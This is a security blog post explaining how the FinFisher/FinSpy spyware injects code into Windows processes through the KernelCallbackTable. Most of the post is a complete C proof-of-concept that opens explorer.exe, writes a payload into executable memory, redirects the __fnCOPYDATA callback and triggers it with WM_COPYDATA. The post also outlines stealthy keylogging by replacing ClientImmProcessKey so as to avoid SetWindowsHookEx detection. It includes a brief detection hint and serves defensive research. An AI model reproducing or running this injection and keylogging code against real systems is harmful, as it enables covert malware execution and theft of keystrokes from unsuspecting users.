Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy

Introduction

The surveillance spyware FinFisher, also known as FinSpy, uses what Microsoft called an “interesting and quite unusual” method of process injection via the KernelCallBackTable. The method of injection has been used for 10+ years by the game hacking community to cheat and no doubt used for other nefarious purposes longer. My intention with this short post is not to encourage malicious activity using the KernelCallbackTable, but to make the reader aware of how it’s already being misused. This technique was also discussed before by various other people in the following posts.

Process Environment Block

The KernelCallbackTable can be found in the PEB and is initialized to an array of functions when user32.dll is loaded into a GUI process.

typedef struct _PEB
{
    BOOLEAN InheritedAddressSpace;      // These four fields cannot change unless the
    BOOLEAN ReadImageFileExecOptions;   //
    BOOLEAN BeingDebugged;              //
    BOOLEAN SpareBool;                  //
    HANDLE Mutant;                      // INITIAL_PEB structure is also updated.

    PVOID ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID SubSystemData;
    PVOID ProcessHeap;
    PVOID FastPebLock;
    PVOID FastPebLockRoutine;
    PVOID FastPebUnlockRoutine;
    ULONG EnvironmentUpdateCount;
    PVOID KernelCallbackTable;
    // ...snipped

The functions are invoked to perform various operations usually in response to window messages. For example, _fnCOPYDATA is executed in response to the WM_COPYDATA message, so in the PoC, this function is replaced to demonstrate the injection. Finfisher uses the _fnDWORD function.

typedef struct _FNCOPYDATAMSG {
    CAPTUREBUF CaptureBuf;
    PWND pwnd;
    UINT msg;
    HWND hwndFrom;
    BOOL fDataPresent;
    COPYDATASTRUCT cds;
    ULONG_PTR xParam;
    PROC xpfnProc;
} FNCOPYDATAMSG;

DWORD _fnCOPYDATA(FNCOPYDATAMSG *pMsg);

Process Injection

We simply duplicate the existing table, set the fnCOPYDATA function to address of payload, update the PEB with address of new table and invoke using WM_COPYDATA. The following code demonstrates this.

VOID kernelcallbacktable(LPVOID payload, DWORD payloadSize) {
    HANDLE                    hp;
    HWND                      hw;
    DWORD                     id;
    LPVOID                    cs, ds;
    SIZE_T                    wr, rd;
    PROCESS_BASIC_INFORMATION pbi;
    PEB                       peb;
    KERNELCALLBACKTABLE       kct;
    COPYDATASTRUCT            cds;
    WCHAR                     msg[]=L"Injection via KernelCallbackTable";
    
    // 1. Find a window for explorer.exe
    //    Obtain the process id and open it
    hw = FindWindow(L"Shell_TrayWnd", NULL);
    GetWindowThreadProcessId(hw, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 2. Read the PEB and existing table address
    NtQueryInformationProcess(hp, 
      ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    
    ReadProcessMemory(hp, pbi.PebBaseAddress, 
      &peb, sizeof(peb), &rd);
      
    ReadProcessMemory(hp, peb.KernelCallbackTable,
      &kct, sizeof(kct), &rd);
    
    // 3. Write the payload to remote process
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
    // 4. Write the new table to remote process
    ds = VirtualAllocEx(hp, NULL, sizeof(kct),
        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    kct.__fnCOPYDATA = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &kct, sizeof(kct), &wr);
    
    // 5. Update the PEB
    WriteProcessMemory(hp, 
      (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
      &ds, sizeof(ULONG_PTR), &wr);
    
    // 6. Trigger execution of payload
    cds.dwData = 1;
    cds.cbData = lstrlen(msg) * 2;
    cds.lpData = msg;
    
    SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
    
    // 7. Restore original KernelCallbackTable
    WriteProcessMemory(hp,
      (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
      &peb.KernelCallbackTable, sizeof(ULONG_PTR), &wr);
      
    // 8. Release memory for code and data, close process
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

Key logging

Key up and down events are processed by the ClientImmProcessKey function. Simply replacing the pointer to a custom routine would allow event-based key logging for the process. This avoids using SetWindowsHookEx that is viewed with suspicion. The prototype of this function is:

DWORD ClientImmProcessKey(
    IN HWND hWnd,
    IN HKL  hkl,
    IN UINT uVKey,
    IN LPARAM lParam,
    IN DWORD dwHotKeyID);

Anti-Hooking

DLL injection can be performed using SetWindowsHookEx. This post suggests how to prevent it by hooking the ClientLoadLibrary function.

HANDLE ClientLoadLibrary(
    IN PUNICODE_STRING pstrLib,
    IN BOOL bWx86KnownDll);

Summary

There are many possible ways to misuse this table. Detection of hooking might involve verifying the address of each function can be found inside user32.dll code. Source for PoC can be found here.

This entry was posted in assembly, injection, malware, programming, windows and tagged , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s